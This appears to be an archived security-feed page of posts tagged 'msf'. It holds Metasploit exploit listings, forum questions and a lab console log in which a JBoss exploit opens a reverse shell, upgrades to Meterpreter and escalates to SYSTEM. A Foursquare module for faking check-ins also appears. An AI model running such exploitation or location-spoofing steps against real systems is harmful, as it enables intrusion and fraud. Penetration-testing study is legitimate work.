jetlib.sec

Feeds

133445 items (0 unread) in 27 feeds

8 items tagged "msf"

Related tags: exploit [+], exploits [+], workstation version [+], whitepaper [+], weird stuff [+], washington monument [+], washington [+], utilprintf [+], und [+], text shell [+], stopping [+], shell session [+], seh [+], script [+], root [+], pre [+], pdf [+], password [+], overflow [+], msf msf [+], msf http enum v [+], minimize [+], meterpreter [+], metasploit [+], metasplizing [+], jsp command [+], ip port [+], information connection [+], howtos [+], hide [+], google [+], foursquare [+], f king [+], enum [+], deploymentfilerepository [+], buffer overflow [+], adobe [+], Tutorials [+], Pentesting [+], General [+], Final [+], Discussion [+], BackTrack [+]

July 06, 2011
21:00
[local exploits] - CoolPlayer Portable 2.19.2 Buffer Overflow (MSF)
» ‎ 1337day (was: Inj3ct0r, 1337db)

[local exploits] - CoolPlayer Portable 2.19.2 Buffer Overflow (MSF)
Tags: exploit msf overflow buffer-overflow exploits
September 22, 2010
14:00
[local exploits] - MP3 Workstation Version 9.2.1.1.2 SEH exploit (MSF)
» ‎ 1337day (was: Inj3ct0r, 1337db)

[local exploits] - MP3 Workstation Version 9.2.1.1.2 SEH exploit (MSF)
Tags: exploit msf seh workstation-version exploits

May 30, 2010
23:54
Metasplizing.pdf
» ‎ Packet Storm Security Misc. Files

Whitepaper called Metasplizing - Converting an Existing Exploit to a MSF Module.
Tags: metasplizing pdf whitepaper msf exploit

May 09, 2010

Permalink for 'Metasploit jboss deployment file repository exploit'

8:24

Metasploit jboss deployment file repository exploit

» ‎ Carnal0wnage

MC pushed out a new exploit today (jboss_deploymentfilerrepository)
so while it lists 4.x as vuln, actually several other versions are vulnerable as well including 6.0.0M1 and 5.1.0 :-)

msf exploit(jboss_deploymentfilerepository) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Triggering payload at '/web-console/HYQ.jsp'...
[*] Command shell session 3 opened (192.168.1.101:4444 -> 192.168.1.101:57796) at Sun May 09 11:20:31 -0400 2010

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin>whoami
whoami
win2k3lab\administrator

C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin>^Z
Background session 3? [y/N]  y
msf exploit(jboss_deploymentfilerepository) > sessions -l

Active sessions
===============

Id  Type   Information  Connection
--  ----   -----------  ----------
3   shell               192.168.1.101:4444 -> 192.168.1.101:57796

msf exploit(jboss_deploymentfilerepository) > sessions -u 3

msf exploit(jboss_deploymentfilerepository) >
msf exploit(jboss_deploymentfilerepository) > [*] Meterpreter session 4 opened (192.168.1.101:4444 -> 192.168.1.101:36591) at Sun May 09 11:21:32 -0400 2010

msf exploit(jboss_deploymentfilerepository) > sessions -l

Active sessions
===============

Id  Type         Information                                      Connection
--  ----         -----------                                      ----------
3   shell                                                         192.168.1.101:4444 -> 192.168.1.101:57796
4   meterpreter  win2k3lab\Administrator @ win2k3lab  192.168.1.101:4444 -> 192.168.1.101:36591

msf exploit(jboss_deploymentfilerepository) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: win2k3lab\Administrator
meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin
meterpreter >

Tags: msf deploymentfilerepository meterpreter jsp-command shell-session information-connection Pentesting

March 19, 2010
6:56
F**king With Foursquare Goes MSF Style
» ‎ Carnal0wnage

mindless foursquare fun goes metasploit style...

msf > use auxiliary/admin/foursquare
msf auxiliary(foursquare) > info

Name: Foursquare Location Poster
Version: $Revision:$
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
CG

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password yes foursquare password
Proxies no Use a proxy chain
RHOST api.foursquare.com yes The target address
RPORT 80 yes The target port
USERNAME username yes foursquare username
VENUEID 185675 yes foursquare venueid
VHOST no HTTP server virtual host

Description:
Fuck with Foursquare, be anywhere you want to be by venue id

References:
http://groups.google.com/group/foursquare-api
http://www.mikekey.com/im-a-foursquare-cheater/

msf auxiliary(foursquare) >
msf auxiliary(foursquare) > set USERNAME notmyusername@host.com
USERNAME => notmyusername@host.com
msf auxiliary(foursquare) > set PASSWORD notmypassword
PASSWORD => notmypassword
msf auxiliary(foursquare) > set VENUEID 9186
VENUEID => 9186

msf auxiliary(foursquare) > run

[*] HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Date: Fri, 19 Mar 2010 13:59:28 GMT
Content-Length: 1311
Server: nginx/0.7.64
Connection: keep-alive

Fri, 19 Mar 10 13:59:28 +0000OK! We've got you @ Washington Monument. This is your 1st checkin here!9186Washington Monument79199Parks & Outdoors:Sculpture SNIP

[*] Auxiliary module execution completed

You can get the module here:
http://code.google.com/p/carnal0wnage/source/browse/trunk/msf3/modules/auxiliary/admin/random/foursquare.rb
Tags: foursquare password msf washington washington-monument f-king google

March 15, 2010
12:10
Getting Fast-track working on Ubuntu 9.10 32-Bit
» ‎ remote-exploit & backtrack

I've been playing around for the last few hours trying to get this working.

I've read many forum posts on different forums, but I still haven't got it working.

It doesn't help that all of the Fast-track websites are down, both "Secure State" and "The Pen Test".

I've done all sorts of weird stuff like create a user called "postgres", and I can't count many ruby libraries I've installed.

Here's some of the guides I've followed:

Automate Your Pen Testing with Fast-Track and Linux - www.enterprisenetworkingplanet.com
The Bored IT Guy » How to install Fast-Track 4.0 on Ubuntu
[ubuntu] How to: metasploit with autopwn [Archive] - Ubuntu Forums

Here's the versions I'm working with:
Metasploit v3.3.4-dev
Fast-track v4.0

When I run Fast-track, it tests for dependencies and everything comes back OK except for pymills. I searched the web for pymills and it seems to have disappeared into a black hole, seems like the Russians came and kidnapped the developers.

If I do:

Code: python fast-track.py -i Enter 2 for Autopwn.
Enter the IP address.
Enter 2 for Reverse Binding.

Then it loads Metasploit but here's what I get, check out the errors in red:

Code: msf > db_destroy pentest dropdb: could not connect to database postgres: FATAL: Ident authentication failed for user "root" msf > db_create pentest createdb: could not connect to database postgres: FATAL: Ident authentication failed for user "postgres" [-] Error while running command db_create: Failed to connect to the database: FATAL: Ident authentication failed for user "postgres" Call stack: /root/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:1552:in `db_create_postgresql' /root/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:1078:in `send' /root/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:1078:in `cmd_db_create' /root/metasploit/lib/rex/ui/text/dispatcher_shell.rb:239:in `send' /root/metasploit/lib/rex/ui/text/dispatcher_shell.rb:239:in `run_command' /root/metasploit/lib/rex/ui/text/dispatcher_shell.rb:201:in `run_single' /root/metasploit/lib/rex/ui/text/dispatcher_shell.rb:195:in `each' /root/metasploit/lib/rex/ui/text/dispatcher_shell.rb:195:in `run_single' /root/metasploit/lib/rex/ui/text/shell.rb:144:in `run' /root/metasploit/msfconsole:93 msf > db_nmap 192.168.1.111 [-] Unknown command: db_nmap. msf > db_autopwn -p -t -e -r [-] Unknown command: db_autopwn. msf > sleep 5 msf > jobs -K Stopping all jobs... Anyone got any ideas?
Tags: msf root metasploit stopping text-shell weird-stuff General Discussion
February 13, 2010
14:57
basic webaudit script
» ‎ remote-exploit & backtrack

Bei verschiedensten Schwachstellenanalysen, Pentests, Sicherheitsaudits, ... steht man häufig vor dem Problem 20++ Webserver auf Schwachstellen analysieren zu müssen. Manche davon haben Content, manche haben nur die Default IE oder Apache Webseite. Analysiert gehören sie dennoch alle! Man weiss ja nie ob nicht auf dem einen oder anderen ein Admininterface verfügbar ist ;)

Wenn man nun weit über 20 solcher Server vor sich hat stellt sich die Frage wie man diese einer ersten grundlegenden Analyse unterziehen kann?!? Auf Basis dieser grundlegenden Analyse ist es im Anschluss möglich die anschließende, detaillierte Untersuchung erheblich zielgerichteter durchzuführen.

Nachdem letztes Jahr bereits eine erste Version meines Scriptes zur ersten Grobuntersuchung von Webservern entstand habe ich dieses Script einem kleinen Update unterzogen. Es wurde auf die aktuelle Backtrack 4 und die aktuelle Metasploit Version angepasst. Weitere kleinere Anpassungen aus den letzten Sicherheitsanalysen flossen natürlich auch ein.

Usage:
Code: ./msf-http-enum-v0.2.sh -i IP-File -s IP-File-HTTPS -f IP-Port-File -p PATH -o outputdirectory -n -msf MSF-Options ./msf-http-enum-v0.2.sh -iph IP-address (HTTP) -p PATH -o outputdirectory -n -msf MSF-Options ./msf-http-enum-v0.2.sh -ips IP-address (HTTPS) -p PATH -o outputdirectory -n -msf MSF-Options Example:
Code: ./msf-http-enum-v0.2.sh -iph xx.xxx.xxx.xxx -n -msf "UserAgent=bla VHOST=www.----.de NoDetailMessages=false" Weitere Infos und download wie üblich auf meiner Site ...

basic Webaudit script v0.2 | www.s3cur1ty.de

hf
m-1-k-3
Tags: msf-http-enum-v script msf msf-msf enum ip-port Tutorials und howtos
January 22, 2010
11:06
Hide/Minimize
» ‎ remote-exploit & backtrack

After I successfully exploited the adobe_utilprintf using MSF 3, I'd like to have the process that was created on the client-side hide itself or minimize itself, so is this possible?

Thanks,

--tj
Tags: utilprintf adobe minimize hide msf BackTrack pre Final

TOP RSS Atom Tentatively valid XHTML1.0, CSS2.0 Last Update: Fri 25 May 2012 04:00:32 PM PDT Jetlib

jetlib.sec » Tags » msf

Feeds

8 items tagged "msf"

Tags: exploit msf overflow buffer-overflow exploits

Tags: exploit msf seh workstation-version exploits

Tags: metasplizing pdf whitepaper msf exploit

Tags: msf deploymentfilerepository meterpreter jsp-command shell-session information-connection Pentesting

Tags: foursquare password msf washington washington-monument f-king google

Tags: msf root metasploit stopping text-shell weird-stuff General Discussion

Tags: msf-http-enum-v script msf msf-msf enum ip-port Tutorials und howtos

Tags: utilprintf adobe minimize hide msf BackTrack pre Final